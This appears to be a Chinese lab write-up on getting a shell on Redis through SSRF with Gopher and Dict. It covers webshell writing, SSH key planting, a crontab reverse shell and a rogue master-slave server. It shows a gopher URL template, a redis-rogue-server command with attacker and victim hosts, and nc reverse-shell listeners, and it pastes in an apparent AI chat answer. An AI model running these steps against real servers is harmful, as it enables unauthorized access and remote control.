Redis + SSRF + Gopher
slug
series-status
status
summary
date
series
type
password
icon
tags
category
Redis + SSRF + Gopher
前言
一直以来对redis都没有怎么研究过,这段时间做了一下网鼎杯玄武组的SSRF ME这道题感觉学习了很多同时也深感自己水平之低,所以就趁热打铁研究一下redis的一些getshell
redis的getshell基本上都是因为未授权访问或者弱口令等导致的。
由于redis服务很多时候都是处于内网之中所以在实战中常常会将redis和ssrf漏洞联系起来
因此在讲到redis getshell的时候不可避免的会经常提及到ssrf
前置知识-RESP协议
CRLF(简单介绍)
RESP协议是redis服务之间数据传输的通信协议,redis客户端和redis服务端之间通信会采取RESP协议,所以在研究getshell之前我们得先知道数据结构是如何的,这样后期才知道如何进行数据的伪造
RESP协议传输过程中判断数据类型是通过首字节来判断的,主要为以下这几类
- Simple Strings 首字节为+ 后面紧跟字符串 例:+OK
- error 首字节为- 后面跟报错信息 例:-ERR unknown command 'foobar'
- Integer 首字节为: 后面跟整型数据
- Bulk Strings 首字节为$ Bulk Strings是一个安全的二进制结构,由两部分组成,第一部分表示有几个字符$3,第二部分则是字符串部分
- Array 首字节为* Array就是数组也是由两部分组成,第一部分表示数组有几个元素 *3 ,第二部分则是元素的具体的值
为了比较直观的来看,我们这里抓包一下看看redis在传输过程中的数据是怎么样的
1.利用tcpdump命令进行流量监听我们的6379端口
- w 会将抓到的数据保存为 test.pcap 这样wireshark打开就非常直观了
- i 要抓的网卡(这里我的redis搭建在本地,lo则正好是本地,根据环境自己进行修改即可)
2.进入redis,执行
set name KpLi0rn
,此时执行完成之后可以看到tcpdump那边会监听到流量ctrl+c结束,然后将我们保存好的包用wireshark打开看看主要是红框部分的Data,Data就是redis传输的数据


按照如下步骤可以将hex -> text

看到的结果就是我们的RESP协议了

3:数组有三个元素分别是 set , name ,KpLi0rn
下面这个则是Bulks String结构
+OK:这个是redis服务器对redis客户端的响应
RESP协议每一行都会以CRLF来进行结尾(回车,换行)这一点从之前的图片中可以很清晰的看出(%0d 回车 %0a 换行),这里我理解为协议的格式,每个以首字节开头的字符串都会以CRLF来进行结尾(例:+OK\r\n),从下图就能很清晰的看出

所以通过上面的例子我们可以发现RESP协议的格式是很易懂,同时也是很容易进行伪造的,放一个后面伪造好的例子,红框是我们伪造成resp协议类型的payload,下面是收到的格式(转化脚本在下文)

为什么Gopher协议可以利用ssrf在Redis上执行命令
攻击者可以利用 Gopher 协议、SSRF(Server-Side Request Forgery)以及 Redis 未授权访问的问题来执行一些 Redis 命令,原因如下:
- Gopher 协议: Gopher 是一个简单的文本传输协议,可用于传输任意文件。由于 Gopher 协议的简单性,它可以被用作构造特定格式的请求。攻击者可以编写恶意 Gopher URL,并将其用于攻击其他服务。
- SSRF(Server-Side Request Forgery) : SSRF 是一种攻击手段,攻击者利用存在漏洞的服务器来向内部网络发起请求。这就相当于攻击者绕过了防火墙,访问了受保护的内部资源。通过 SSRF,攻击者可以将构造好的 Gopher 请求发送到目标服务器,进而影响 Redis 进程。
- Redis 未授权访问: 如果 Redis 服务配置不当,可能允许未经授权的访问。这使得攻击者可以对 Redis 数据库进行操作,包括读取、修改数据和执行一些危险的命令(如
CONFIG
,FLUSHALL
等)。
当攻击者利用这三个因素组合起来时,他们可以构造一个特定格式的 Gopher URL,通过 SSRF 向存在漏洞的服务器发起请求,使其访问内部的 Redis 服务。如果 Redis 服务未经授权,攻击者可以通过 Gopher 请求执行 Redis 命令,从而实现对目标服务器的攻击。
为了防止此类攻击,建议采取以下措施:
- 对外部输入进行严格的过滤和验证,防止 SSRF 漏洞。
- 禁用或限制 Gopher 协议的使用。
- 为 Redis 服务设置密码验证,限制访问权限。
- 对服务器的内部网络进行隔离,降低被攻击的风险。
确实,Gopher 协议本身并不能直接执行命令,但它可以用于构造特定格式的请求。在这种组合攻击中,攻击者利用 Gopher 协议构造特定格式的请求,通过 SSRF 向 Redis 服务发送请求。
下面是一个简化的示例,以说明这种组合攻击是如何进行的:
- *假设存在一个 SSRF 漏洞的 Web 应用,允许用户输入 URL,然后服务器会请求这个 URL 并返回结果。**
http://example.com/fetch?url=<user_input_url>
- 攻击者发现 Web 应用内部的 Redis 服务未设置密码验证,可以直接访问。
- 攻击者构造一个 Gopher 请求,用于向 Redis 服务发送命令。例如,让 Redis 服务设置一个键值对:
这个请求会发送以下 Redis 命令:
- 攻击者将构造好的 Gopher 请求 URL 作为输入,发送给存在 SSRF 漏洞的 Web 应用:
- 存在 SSRF 漏洞的 Web 应用会请求这个 Gopher URL,这会导致向内部 Redis 服务发送
SET key value
命令。由于 Redis 未设置密码验证,攻击者利用 SSRF 成功执行了 Redis 命令。
通过这个示例,可以看到 Gopher 协议在组合攻击中的作用。虽然 Gopher 协议本身并不能直接执行命令,但它可以帮助攻击者将 SSRF 漏洞与 Redis 未授权访问结合起来,实现攻击。注意,这只是一个简化的示例,实际攻击可能会涉及更复杂的命令和操作。
- *抱歉刚刚的示例可能造成了一些误导。**
SET
是一个 Redis 命令,它用于设置键值对。在示例中,我试图展示如何利用 Gopher 协议构造一个请求,以在 Redis 服务上执行SET
命令。
Redis 使用 RESP (Redis Serialization Protocol) 作为其通信协议。当客户端向 Redis 服务器发送请求时,通常会使用 RESP 格式。但在这个组合攻击示例中,我们使用 Gopher 协议来伪造一个简化的 RESP 请求。
在正常情况下,使用 RESP 协议发送
SET key value
命令会是这样的:然而,在这个组合攻击示例中,我们使用了 Gopher 协议构造了一个简化版的请求:
这个请求会发送以下内容:
虽然这个请求并不是严格遵循 RESP 协议的,但是 Redis 服务仍然可以正确解析和执行这个命令。这是因为 Redis 命令解析器具有一定的容错性,并且简化的请求格式与 Redis 所期望的命令格式相似。
- *总之,在这个组合攻击示例中,**
SET
是一个 Redis 命令,而不是一个协议。我们通过 Gopher 协议构造了一个简化的请求,以在 Redis 服务上执行该命令。
前置知识-Gopher协议/Dict协议
长亭的这篇文章写的非常好:https://blog.chaitin.cn/gopher-attack-surfaces/
Gopher协议和dict协议是在SSRF漏洞中经常会使用到的,同样的在redis getshell当中也会经常使用到
Gopher 协议:在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。** **Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面 (个人觉得当作http来看待就行了)
Dict协议:dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别
- Gopher传输
利用nc 和 curl 来进行一个小实验
我们来看看监听到的信息是什么

我们可以看到我们的信息是test但是最终接受到的是est,所以可以发现gopher协议在传输过程中第一个字符是会被吞掉的,所以我们在传输过程中第一个字符改成没有用的字符就可以了类似
_
,可以看到这样就正常了
- dict协议
dict协议和gopher协议最大的区别就是 dict一次只能一句,因为dict协议传输数据之后会自动加一个QUIT ,同时dict的第一个字符不会被吞
如图可以看到dict中第一个字符不会被吞,但是结尾会带一个QUIT

两张图放在一起对比一下:
这样对比就很明显了

漏洞成因
redis漏洞的主要成因就是未授权访问,弱口令,以及不正确的配置bind导致别人可以直接连接服务
主要问题都是redis.conf的不正确配置和高权限运行redis服务
- redis.conf的不正确配置
下图是一个redis.conf

中间两个最主要的是
Bind 和 protected-mode
- bind : 这个就是redis绑定的地址,意思就是允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登陆)如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
- Protected-mode : 这个功能是自redis 3.2之后设置的保护模式,默认为yes,其作用就是如果redis服务没有设置密码并且没有配置bind则会只允许redis服务本机进行连接
- 使用root权限运行了redis服务
现在redis服务启动默认是redis,所以我们写的shell权限也是很低的

可以看到我们的shell 权限是 644 权限非常低
防范措施:设置高强度密码,将bind修改为内网的地址或127.0.0.1
redis getshell四种方法
- 绝对路径写shell,将shell写在web目录下
- redis公钥导入
- 利用定时任务进行反弹shell(centos)
- redis 主从复制getshell
绝对路径写shell
这个方法和sql注入中利用日志写shell感觉有一点点相似
此方法可以结合ssrf漏洞或redis服务没有做好安全措施导致可以远程连接
条件
- root权限启动redis服务
- 需要知道目标的web目录绝对路径
实验环境
ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129
漏洞复现
首先kali下利用redis进行连接
如下图,连接成功

接下来进行写shell

可以看到ubuntu下的/var文件夹成功被写入

在实战使用的时候,通常是利用redis和ssrf漏洞进行结合,将shell写到对应的web目录下
这时候就需要借助gopher协议来帮助我们完成
这里需要用到一个转化脚本将我们的代码转化成RESP格式
Python2 进行执行

复制输出的结果
在kali中运行如下代码

看到5个ok(这里我们的命令有5条,所以会有5个OK),说明恶意代码已经执行成功了 去ubuntu发现果然写进去了

那么在遇到SSRF漏洞的时候,由于SSRF漏洞可以请求内网的服务,所以我们可以首先进行一个全端口扫描,如果发现了redis服务,利用gopher协议打过去就可以了
?url=gopher://0.0.0.0:6379/_xxxxxxxxxxxxxx
生成的shell权限都是644,mac本地模拟了一下,可以连上就是权限太低辣,后续需要提权

Redis主从复制getshell
实验环境:ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129
影响版本
redis 4.x 5.x
主从复制介绍
redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担。所以redis采用了主从模式来缓解。主从模式就是让一个redis作为主机,另外的redis作为从机(可以理解为备份机),然后主机和从机中的数据是完全一样的。然后主机负责写,从机负责读。通过读写分离还缓解服务端上的流量压力
漏洞成因
在redis 4.x 之后新增了模块功能,可以允许我们引入外部拓展文件来实现新的redis命令,所以这个漏洞引入了恶意的外部拓展文件而导致的
漏洞复现
下载我们的payload:https://github.com/n0b0dyCN/redis-rogue-server
利用这个payload进行反弹shell
然后执行命令
python3 redis-rogue-server.py --rhost= ubuntu的ip --lhost= kali 攻击机的ip --exp=exp.so
(在复现过程中第一次会报错,但是再次执行payload就好了)
当出来这个问句的时候 kali另起一个终端
nc -lvvp 4444
进行一个监听成功反弹shell 并且执行了命令
redis 写入ssh公钥
条件
- 目标主机开通了ssh服务
- root权限启动了redis服务
原理
通过向受害机写入ssh公钥,然后利用本地的私钥进行ssh登陆这样就不需要密码了
当以root身份运行redis服务的时候,可以通过redis命令给root用户写入ssh公钥
大致思路如下:kali创建一对rsa公钥和私钥,利用gopher协议让redis执行命令将ssh公钥写入root用户(写入到/.ssh文件夹),然后ssh -i利用本地私钥直接进行免密码登陆
实验环境
ubuntu 16.04,kali 2018,Redis 5.0.0
受害主机: ubuntu 192.168.189.208
攻击主机: kali 192.168.189.129
漏洞复现
kali下执行
ssh-keygen -t rsa
这里我由于之前已经创建过了所以才会提示是否overwrite
这样的话我们的密钥对就在我们的 /root/.ssh下了

查看我们的id_rsa.pub,复制到我们的脚本payload中

转化的python脚本如下
python2 redis.py
获得运行结果,然后 curl ,可以看到有5个OK说明代码顺利执行了
然后回到 /root/.ssh 文件夹下,用里面的私钥通过ssh直接进行登陆

crontab 定时任务反弹shell (仅限centos)
条件
- root权限启动redis服务
- 目标系统为centos
原理
将redis中的dbfile 目录改为centos中定时任务的目录(/var/spool/cron),然后在redis中执行 反弹shell的命令,这样redis就会将数据存在dbfile中,同时又在定时任务的目录下,所以centos就把这个文件当作定时任务来执行了
由于redis输出的文件都是644权限,但是ubuntu中的定时任务一定要600权限才能实现所以这个方法只适用于centos
实验环境
Redhat (靶机),macOS 10.15(攻击机)
漏洞复现
首先以root权限启动我们的redis服务器(如果redis不是root启动的话我们是无法修改目录路径的):

执行命令

mac下执行监听
nc -lvvp 4444
,等待一分钟过后即可
Loading...